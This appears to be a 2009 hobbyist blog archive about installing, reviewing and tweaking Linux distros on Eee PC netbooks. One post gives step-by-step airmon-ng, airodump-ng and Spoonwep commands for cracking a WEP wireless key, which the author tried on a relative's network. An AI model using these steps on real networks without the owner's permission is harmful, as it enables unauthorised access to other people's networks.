So, because it's built on Ubuntu (with a 2.6.30-4 kernel) it was easy to stick it on an SDHC using Unetbootin. And because it's Ubuntu, it's like sitting in your favourite armchair.

But in a fabulously decorated room.

Greeted by this desktop, I setup my wifi connection in the usual way and jumped into setting up my Jolicloud account.

You can install all sorts of web based apps from here...

I chose to install GMail...

So without having to fire up FireFox, I can check my GMail. Cool! And it's the same for FaceBook and Twitter. And probably a whole host of other stuff, too.

Speaking of FireFox, it's nice to see it's already been setup to make the most of the smaller screens...

In fact the whole look and feel of Jolicloud just screams "WE"VE THOUGHT ABOUT IT!".

And they've got a lot more to come.

This is shaping up to be the netbook distro. As long as the newer netbooks are supported by the time it goes on general release and they don't over egg it, I can see this being everywhere.

10/10

PCLXDE 2009.4 On The Eee PC 900

2009-08-05T15:01:00.017+01:00

Somebody posted something on the EeeUser Forum asking about this distro, so I thought I'd take a look.

You can download the distro here (as well as have a look at a list of apps included) and I used Unetbootin to put it on a 1GB USB stick.

If you didn't already know, PCLXDE is a spin of PCLinuxOS which is based on Mandriva.

And so to boot.

Initially, I chose the Default option at boot, but this hung and dropped me to BusyBox. And so did the LiveCD option. Rebooting and choosing the LiveCD_sata_probe brought up the login page and I logged in as guest (password is guest). To use root, the password is root.

A very nice looking desktop, no?

And the PCMan file browser...

And so to internet access. After all, a netbook's not much good without it's wireless. Well, at least for me...

Hit the network tray icon and a list of available networks appears.

Typed in my WEP pass...

And hit Connect.

Oh. Um...

Erm... Hit the Monitor button...

Then the Connect Wifi button...

And... presto! Connected.

I probably went the wrong way about this, but it worked. If there is an easier way, let me know!

Midori is the web browser. Lightweight and snappy, it's perfectly suited to this distro. It also has the speed dial plugin a la Opera, which is nice. I used it to check out YouTube and the BBC iPlayer.

Both sites worked perfectly without the choppiness of some other distros. Switch to fullscreen, however, and the choppiness kicks in.

So, what else works?

Um, actually it's more a case of what doesn't work.
The volume hotkeys (Fn+F7, F8 and F9) had no effect at all, the brightness keys do work (but very slowly), there's no wireless toggle and the webcam (I tried it with Wxcam and Cheese) didn't work properly. I'm pretty sure the webcam can be got going fairly easily though. The wireless doesn't work on coming back from suspend/hibernation.

PCLXDE 2009.4 was never meant to be an Eee specific distro, so it's easy to forgive the stuff that doesn't work. The wireless works and that's all you need to get online and search for solutions if you want them.

It is, however, ideal for older hardware and that's probably where it will be most used.

Excellent.

Android Live On The Eee PC 900

2009-08-03T13:46:00.003+01:00

Ever since my girlfriend got her G1 phone I've fiddled with it at every opportunity.
Working my way through it as much as I can without 'rooting' it, scouring the net for little tips and tricks, finding out which are the best apps available and generally having a good time.

So I was over the moon to learn that Android was available as a live distro. It can be run in a VM too, but I don't want to make my current install any bigger.
I popped off to the Live Android project page, downloaded the necessary bits and used Unetbootin to put it onto a USB drive.

Now I really wasn't expecting much and unfortunately that's exactly what I got. It froze at the (pretty) splash screen and went no further.

Looks like I'll just have to wait a little longer...

AntiX Mepis 8.2 On The Eee PC 900.

2009-07-27T12:08:00.013+01:00

AntiX Mepis 8.2 is a stripped down Mepis, using the Ice WM desktop on a Mepian/Debian Testing base.

Let's get down to business. I downloaded the .iso, put it on a 1GB stick using UNetbootin, rebooted and after hitting space to skip the video options, I was presented with a nice looking desktop. In the top right of the desktop there was Conky telling me what was going on with the CPU and stuff. A stormy looking background and a nicely configured panel completed the rather polished look.

No battery indicator anywhere, though I'm pretty sure that's easy enough to sort out.

So, first the acid test. Would it work with wireless?

Clicking on the network icon in the tray said yes, it did work.

So I hit connect, entered my WEP pass, hit OK...

...and then hit Connect again.

And there I was, connected.

JOY!!

But, could I toggle the wireless on and off?
This is something that almost every distro I've tried on the Eee fails on. Some can't turn it off. Some can turn it off but not on again. And some can turn it off and on but then run into trouble reconnecting.

So, I hit the wireless toggle (Fn+F2) and the blue wireless LED indicator went out. I waited about ten seconds and hit it again. The LED came back on and I was able to connect to my network again. Excellent!

I found the webcam app, Cheese, in the menus. Fired it up and voila! A working webcam!

I thought I'd take a look at what was available in the repositories as the screenshot utility is annoyingly forgetful of your settings. I opened up Synaptic and hit Reload. But no dice. Checked that I was still connected...hit it again, still nothing.

So I opened the Iceweasel browser and went to Google. Nothing. Still connected, though.

I rebooted into Mint and went to look for an answer...

...and found it. But first I changed the theme to something a bit more, er, green.

Anyway, when you start the wireless manager, Wicd, go to Preferences > External Programs > and enable dhclient. Like this:

And so I was able to use Iceweasel and Synaptic.

Flash works out of the box but there's no Java although that's only a Synaptic install away, as are the W32 codecs that I insist upon.

I say only a Synaptic install away...

...the menus really are something of a shambles.

With a little tweaking, this really could be the ideal distro for the Eee. Wireless, sound, webcam and resolution all working out of the box. It's a small-ish install (if you want smaller, look to Puppy), it looks good and it's nice and zippy.

Highly recommended.

Cracking WEP With Spoonwep On The Eee Pc 900.

2009-07-19T16:00:00.012+01:00

I have BackTrack 3 Final running from a 4GB SDHC card which resides in my 900's SD slot. It's handy having a live distro to call on and BT3 works well with both the 900 and the 701. Apart from the sound. There's no sound. Like I care.

Anyway, I tend to use it for testing WEP encrypted networks (purely for educational purposes, mind) and I've learned how to do it using the command line. Then someone pointed out that a utility called Spoonwep will do the job using a simple GUI.

So I gave it a go. You won't learn much from it, I would strongly recommend you learn the command line way (which is a lot more powerful), but it is a bit of a time saver.

Here's how to do it:

01) Open a terminal:

airmon-ng stop ath0

02) Next:

airmon-ng start wifi0

03) Next:

airodump-ng ath0

04) Choose the AccessPoint(AP) you want to hack and remember the channel number. The AP will need to have a PWR rating of above 20 to have any chance of this working.

05) Hit CTRL+C to stop

06) Then copy the AP MAC address

07) In the same terminal:

spoonwep

08) In Victim MAC, paste the AP MAC Address

09) Choose your network card. On the EeePC 701 and 900 it's Ath0

10) Set the AP Channel Number

11) Set the Injection Rate to maximum

12) Use Fragmentation and Forge Attack

13) Use 128 Bits Key Length

14) Click launch. It does take some time, usually between ten and twenty minutes. Just be patient.

15) If it works, the key will appear as a string of characters punctuated by colons. Remove the colons and your key is what remains.

Example: 12:34:56:78:90 should be read as 1234567890.

Here's some screen shots of Spoonwep in action on my brother's network:

Not bad, eh? Fifteen minutes to crack my brother's WEP key.

Wasn't he surprised!! Needless to say he's changed his encryption to WPA...

Updating the BIOS in the Eee Pc 900.

2009-07-19T13:35:00.004+01:00

I’d been having some problems with my 900's 16GB drive recently and after much messing about I’ve reached the conclusion that I need a new one.

Now, one of the solutions to my problem I tried was to update the BIOS. It was a long shot at best, but you never know.

I’ve never done this before and I understand that if you make a mistake whilst doing it, you can be left with a very pretty Asus EeePC 900 doorstop.

Please, unless you really are confident of your ability to follow instructions to the letter or you are having problems which you know a BIOS update will solve, leave the BIOS alone.

This is how it’s done.

You will need a USB stick. I used a generic 1GB drive, I wouldn’t recommend using anything over 4GB. Plug it into the machine on the right hand side in the USB slot closest to you. Make sure no other drives are attached.

Go to System > Administration > Partition Editor

Enter your password.

Once it’s finished scanning your drives, go to the drop down list at the top right and click on /dev/sdd.

Then right click the partition box > Unmount.

Right click it again > Format to FAT32

Click Apply.

When it’s done, right click again > Manage Flags and tick the Boot box.

When it’s done, you can close the partition editor and move on.

Let’s get the BIOS file!

Download the BIOS file from asus.com or, for ease of use, from my SkyDrive.

Save it to a convenient place. Right click the zip file and then ‘Extract Here’. A file called 900-ASUS-1006.ROM will appear.

Rename it to 900.ROM You MUST do this. It will not work unless you do.
here (click on the little plus sign next to BIOS and then Download From Global)
That is your BIOS file and you need to copy it to your USB stick. It should be the only file on the stick.

Now, you’re sure you’ve got all of that? Good.

This is the fun part.

Shutdown the Eee.

Make sure your Eee is using mains power.

Make sure you have nothing attached to it (USB sticks, drives, SD cards) and hit the power button.

Now start up and hit F2 at the Asus screen to go into the BIOS. Once in, go to (using the arrow keys) Boot > Boot Device Priority and make sure it looks like this:

1st boot device Removable Dev.

2nd boot device HDD:SM-ASUS-PHISON

3rd boot device ATAPI CD Rom

Then hit ESC.

Now go to Boot Settings Configuration. You need to make it look like this:

Quick Boot Disabled

Quiet Boot Disabled

To do this, use the arrow keys and the enter key.

When you’re done, hit ESC and then F10 and Enter.

Now shutdown.

Put your stick with the BIOS file into the left hand USB slot and start up the Eee.

At the Asus screen, hold down ALT and hit F2.

Some text will appear. You won’t have anything to do now. Just let it get on with what it needs to do. It takes a few minutes.

DO NOT INTERRUPT IT!!

Only when you are prompted to do so, shutdown using the power button.

And when you reboot, if you go into the BIOS you will notice that the version number has changed.

Also, you will probably notice that your fan runs a lot quieter now.

Which is nice.

Installing My New Printer On Linux Mint 7 Gloria.

2009-07-19T13:24:00.003+01:00

Setting up my printer (23 June 2009)

As it happens, we have a new printer.

It’s an HP Deskjet F2280 all-in-one.

I highly recommend HP printers as they are very well supported in Linux.

So, unpacked it, followed the setup instructions and connected it.

There was a short pause while it looked like nothing was happening and then a message popped up telling me that the printer had been installed, set up and was ready for use. So I opened a document hit print and it printed.

Excellent!

Then, because I’m that way inclined, I wanted to have a nice looking GUI to configure the printer with. And there is one available for HP printers.

Go to System > Synaptic and search for hplip-gui. And install it.

Now, to stop it running automatically (I don’t do enough printing to warrant it appearing at startup):

Go to System > Preferences > Startup Applications and untick the HP System Tray Service.

Sorted, as they say.

Getting rid of the Keyring Password.

2009-07-19T13:21:00.002+01:00

The Keyring Password

Now, when I first tried to connect to a wireless network, I was asked to create a password for the keyring. So I did and I used a different password to my user password.

Then I found that every time I booted, I was asked for this password before I could connect to my network. Gwibber, the Twitter client, wouldn’t or couldn’t use the network to access Twitter. Which, I assumed, was a permissions problem and put it down to something to do with the Keyring.

I found this a bit irritating and went to find a solution. And here’s what I learnt.

This machine is for my use only, so I didn’t really need to set a Keyring password.

To remove the password and stop the Keyring constantly asking for it, go to:

Applications > Accessories > Passwords and Encryption Keys

Hit the Passwords tab and then right click the Keyring Password (or whatever it’s called) > Change Password.

You have to put the old password in but then don’t type anything into the other two boxes and hit Change. A message pops up about lack of security, but that’s fine. Hit Ok or whatever and then reboot to see the changes.

Nice.

Installing Linux Mint 7 Gloria On The Eee PC 701

2009-07-19T13:06:00.004+01:00

Just a quick heads up on this.

I used to be a 701 4GB owner until June 2008 when I bought my 900. I gave my 701 t0 my brother in the hope that he and his family would warm to Linux. I left him running Xandros in advanced mode.

I popped over to see my brother last week and after showing him what BackTrack 3 could do on my 900 he said he wanted it on the 701. Which I did. BackTrack 4 Pre Release, in fact.

Now, while it worked well, it booted to a command prompt requiring that you type startx to get the thing going and when you are logged in, you’re logged in as root. All of which is fine and dandy if you know what you’re doing, but in a family with a six year old who likes to go onto the CBeebies site and use Tux Paint, it’s maybe not the right distro.

So I installed Mint 7 instead. And it works as well as it does on the 900.

The install was almost identical to the 900 install that I ran through earlier, except when the partitioning screen appears, be sure to choose the “Use the entire disk” option.

After the install, I tweaked it, keeping in mind that a small child would be using it, I stripped out the same stuff as I did on my 900 install and also removed Brasero, Pidgin, The Gimp and Open Office.

And then added BleachBit, Ubuntu Tweak, Wxcam, Picasa (she loves taking photos), Abiword and, of course, Isla’s beloved Tux Paint.

Now, if you install Tux Paint on the 701 you really must install the tuxpaint-config package as well. This little utility will allow you to choose the correct screen settings, making the most of the 701’s small screen. I don’t remember if the configuration utility appears in the menu or not, so just open a terminal, Applications > Accessories > Terminal, type tuxpaint-config and hit enter.

All in all, Mint 7 on the EeePC 701 4GB is a very pleasurable experience. I could have removed more and given it a bit more room, but a machine which is only used for browsing doesn’t really need loads of free space and after following my install guide and tweaking it, there was 1.3GB free.

Enjoy!!

Putting Mint 7 On The Big (Well, Bigger) Screen.

2009-07-19T12:49:00.004+01:00

Today I decided that it would be nice to see Mint on a much bigger screen than my little Eee 900’s.

Now, the TV has a VGA port on the back, the Eee has one on it’s right side. All I need is a cable.

So, I popped off to Argos and bought a Belkin Monitor Cable.

£25 FOR A CABLE!!! *falls over*

After being brought round by a member of staff, I managed to justify the purchase by telling myself “it is well made and feels nice and sturdy and I’ll never have to buy another one…”. I hope.

So I got home and had a cup of tea to steady my nerves and then fired up the Eee and the TV. Then I plugged the cable in and switched the TV’s source to PC.

Now, at this point I made mistakes. Lots of them. I assumed that by going to System > Preferences > Display, I would be able to configure it.

Stupid boy…

I spent ages lost in a pair of screens that were somehow joined together, wondering where my pointer had gone and thinking “all I want is big screen Mint. If I have it on the big screen, I won’t need it on the little one.”

I managed to get it sort of right, but the screen resolution was stuck at 800x600 on both screens.

The answer to what I wanted was fairly simple. And I found it in Synaptic.

I installed the gnome-randr-applet and added it to the panel.

To add applets to the panel, right click an empty space on the panel > Add To Panel and choose from the list.

The new applet is called Display Geometry Switcher.

With that added, it was a simple case of logging out and then back in again and choosing the resolution I wanted (1320×768) by left clicking the applet.

When I choose that resolution, the Eee’s screen switches off. That’s fine.

A word of warning, when you log out, the login page will not let you see what you are typing. Just the login page. This doesn’t affect anything else. I don’t know why.

And here it is. Not a particularly good photo, but there you go.

You can’t really see it here, but the display is nice and crisp. I’m very impressed.

And when you want to remove the cable, either log out (hit CTRL+ALT+Backspace) and remove it or change the resolution using the applet so that the Eee’s screen comes back on.

So, there you are. Now, what I really need is a wireless keyboard with built in touchpad (which should work out of the box with Mint) so I can sit on the sofa with my Eee under the TV…

Tweaking Linux Mint 7 Gloria On The Eee Pc 900

2009-07-19T11:54:00.012+01:00

So, you’ve installed Linux Mint 7 on your EeePC 900. Now let’s tweak it a little.

This simple guide will remove stuff and add stuff until your system is identical to mine and ends up looking something like this:

At this point, I will assume you are connected to the internet either via wireless, ethernet cable or mobile and you have broadband.

Obviously, you don’t have to do everything here, but this is what I did and it may give you some pointers as to what to do and how to do it.

I use Gmail, Hotmail and Yahoo for email so I don’t store email on my machine, hence the removal of Thunderbird.

The default Bittorrent client will be changed from Transmission to Deluge.

Computer Janitor will be replaced by a combination of Ubuntu Tweak and BleachBit. Both are excellent additions to any Gnome setup.

I don’t need Giver, X-chat or Gnome Do.

Note: I highly recommend removing the Compiz stuff!

Your machine will respond a lot quicker without the eye candy and certain applications don’t work very well with eye candy enabled.

You may disagree.

Whatever.

We will also be adding some stuff later that is found elsewhere on the net.

“Get on with it!”….

Open Synaptic (System > Administration > Synaptic).

Enter your password.

First, go to Settings > Preferences > Files > and mark “Delete downloaded packages after installation”.

Synaptic

That will help save space.

Hit the Reload button (sort of top left).

There will be a lot of updates to get, but ignore them for now.

To remove/add packages, find the package, right click it and choose the action. You don’t need to use Completely Remove, just Remove)

Here is a list of stuff to remove:

compiz
compiz-check
compizconfig-backend-gconf
compiz-setting-manager
compiz-core
compiz-fusion-plugins-extra
compiz-fusion-plugins-main
compiz-gnome
compiz-plugins
compiz-wrapper
computer-janitor
computer-janitor-gtk
giver
gnome-do
thunderbird
transmission-common
transmission-gtk
xchat-common

And here is a list of stuff to add:

asunder (Cd Ripper)
audacity (Audio Editor)
bleachbit (Privacy Clean Up Tool)
deluge (Bittorrent Client)
gwibber (Twitter Client)
lame (Allows Apps To Rip To MP3)
skype (VOIP Client)

Once everything is ticked, hit “Apply”

This may take some time depending on your connection.

Once it’s all done and dusted, hit the Reload button again (just to be sure) and then hit “Mark All Upgrades” and then Apply.

Now, this really will take some time, so have cup of tea...

That's better...

Your kernel will be upgraded at this point, so when it’s all done, reboot.

When you reboot, the Grub screen will look a little different, but there’s no need to touch it. Those other options will be gone soon enough.

Now we’re going to go get some other bits and pieces.

Open Firefox and go and download these packages:

Picasa (Google’s Photo Manager. Even if you don’t have a Google account, it’s still a nice app.)

Ubuntu Tweak (A very useful tool for cleaning and configuring Ubuntu based distros)

Wxcam (A webcam app which is easy to use and can record to .avi with sound)

Elementary Icon Set (Clean, simple and efficient)

Elementary Theme (Clean, simple, efficient)

The first three are .deb packages so just double click them to install.

The Elementary stuff comes in .zip files. So right click them, choose (Extract Here) and then open the resulting folder to get at the .deb package.

Once this is all done, fire up Ubuntu Tweak and once it’s up go to Applications > Package Cleaner.

Hit the unlock button and then use the cleaning tools to clean up all the mess you made by installing stuff. Yes, clean the kernel, too. This will remove the old kernel and next time you boot, you will notice Grub has less options available.

Now fire up BleachBit, tick all the options down the side and hit preview. BleachBit will scan your machine for stuff to get rid of (not applications, which is what Computer Janitor did to me and is the reason I removed it earlier). Once it has finished scanning, scroll to the bottom of the list in the right hand pane and you should see how much stuff there is to get rid of, like this:

And then hit the Delete icon.

Lovely.

Almost forgot…

To change the theme and icons, right click the desktop, Change Desktop Background. Choose your background, hit the Theme tab, choose eGTK and then hit Customise > Icons > Elementary.

If your panel is still at the bottom of the desktop, right click it > Properties > Orientation > Top.

To change the terminal colours, open a terminal > Edit > Profile Preferences > untick “use colours from system theme” > choose Green on black from the Built in schemes drop down list. Then hit the General tab and untick “Use the system fixed width font”.

_____________________________________________________________________________________

_____________________________________________________________________________________

Now for some kind of justification.

I have not installed Adam’s kernel nor any of the scripts and utilities that are available to make this distro more Eee specific. The reasons behind this?

I’m sick of messing around with the command line, editing files and emailing developers because the scaling doesn’t work properly on machines with Celeron processors. Nor do I want or need to turn off the webcam or wireless.

A lot of hard work goes into those packages and there are many users who are very happy with them.

The people who develop those things aren’t getting paid and I see no need to talk about them in a negative light.

But, those utilities just ain’t for me.

I wanted a full featured Gnome/Ubuntu based distro that was easy to set up and easy to maintain with no eye candy to slow it down and no other utilities that I didn’t want.

And this guide is the result of me getting what I want.

Your comments and questions are welcome.

Peace.

Installing Linux Mint 7 Gloria On The Eee PC 900

2009-07-18T20:25:00.003+01:00

Welcome to my short guide on installing Linux Mint 7 or Gloria, as it is also known, on the EeePC 900 20gb.

I am going to assume you have a way of installing it, either from a USB flash drive or an external CD/DVD drive, and are able to run Mint 7 live.

Mint 7 pretty much works out of the box on the 900, the wireless and webcam perform well and, with a little tweaking, it’s very snappy. More so than regular Ubuntu and some other Eee specific distros I’ve used.

I’ll be removing some stuff and adding bits, nothing heavy, just packages. I won’t be installing the Eee specific kernel nor will I be adding any of the scripts that are available. I want to keep this simple.

Sometimes, less is more…

So, let’s aume you’re running Mint as a live distro from USB. I’m running from SDHC and I have a UB stick inserted.

So, here’s the desktop:

To start the install, double click the Install icon on the desktop.

You will be greeted with the Install welcome screen:

Choose your language and hit the Forward button.

Next, select your region. I’m in London, as you can see. If you can point to where you are on a map, well done you!

For those who’s geography leaves something to be desired, choose from the drop down lists.

Now to choose your keyboard. If you’re not sure, accept the default. It should be correct. You can type stuff into the empty text box to check.

And now the best bit…

Partitioning.

This is the bit that throws many new users.

In this instance, we’re going to use the smaller 4gb drive for the operating system and the larger 16gb drive for our files.

Why?

‘Cos I said so.

I suppose I should point out that the following procedure will wipe both drives clean. So make sure you’ve backed up any files you need to a flash disk or whatever.

So, we want to set up our partitions manually because the installer doesn’t just do it for us.

On the Prepare Disk Space page, we need to check the button titled “Specify Partitions Manually (Advanced)”, like this:

(Mine says something about deleting Linux Mint 7 Gloria because I have already installed it and am running the installer from a live disk to get the screenshots. You don’t have to worry about what it says there.)

***For those with the 16gb 900, which has a single disk, choose the “Use the entire disk” option and then accept whatever the install throws at you. You're next step will be User Details***

Click Forward.

Now, highlight sda (the second line) and then hit Edit Partition and make it all look like this:

So, we are editing the 4gb drive which the operating system is going onto. We will use the Ext3 Journaling File System from the drop down list. We want to format the partition, so check the box and the mount point will be the / symbol from the drop down list.

Then click OK.

Now highlight sdb (the fourth line) and then hit Edit Partition and make it all look like this:

So, we are editing the 16gb drive which will store our files, documents, music etc. Again, we will use the Ext3 Journaling File System from the drop down list. We want to format the partition, so check the box and the mount point this time will be the /home option from the drop down list.

Then click OK.

Now hit Forward.

It’s at this point that I stopped getting screenshots. You will get a pop up message asking about a swap partition etc. We have 1gb of RAM in our machines and therefore we don’t need swap. So, just hit whatever you need to hit to make it go away.

Another screen will want your user details. Just enter your details and passwords here. Don’t hit any other buttons.

And then just hit OK or forward to get the install started.

The install itself doesn’t take long (if the screensaver kicks in, just move the cursor or hit the space bar).

When the install is finished, reboot.

Now, we are going to check that everything’s switched on so we don’t put up posts on forums because we believe our wireless isn’t working, making us look stupid.

When you boot, at the Asus screen hit F2 to bring up the BIOS.
Using the arrow keys, go right to highlight “Advanced”.
Then go down to highlight “Onboard Devices Configuration”.
Hit Enter.
Make sure that all the entries are enabled.
If one isn’t, go down to highlight it, hit enter, change it and hit enter.
Press Esc twice and then enter.
The machine will boot and in about 30-40 secs you will be greeted with the login page. Enter the username and password you provided earlier and in about 10 secs you will have your newly minted EeePC staring at you.

Joy!

Now, let’s tweak it a little…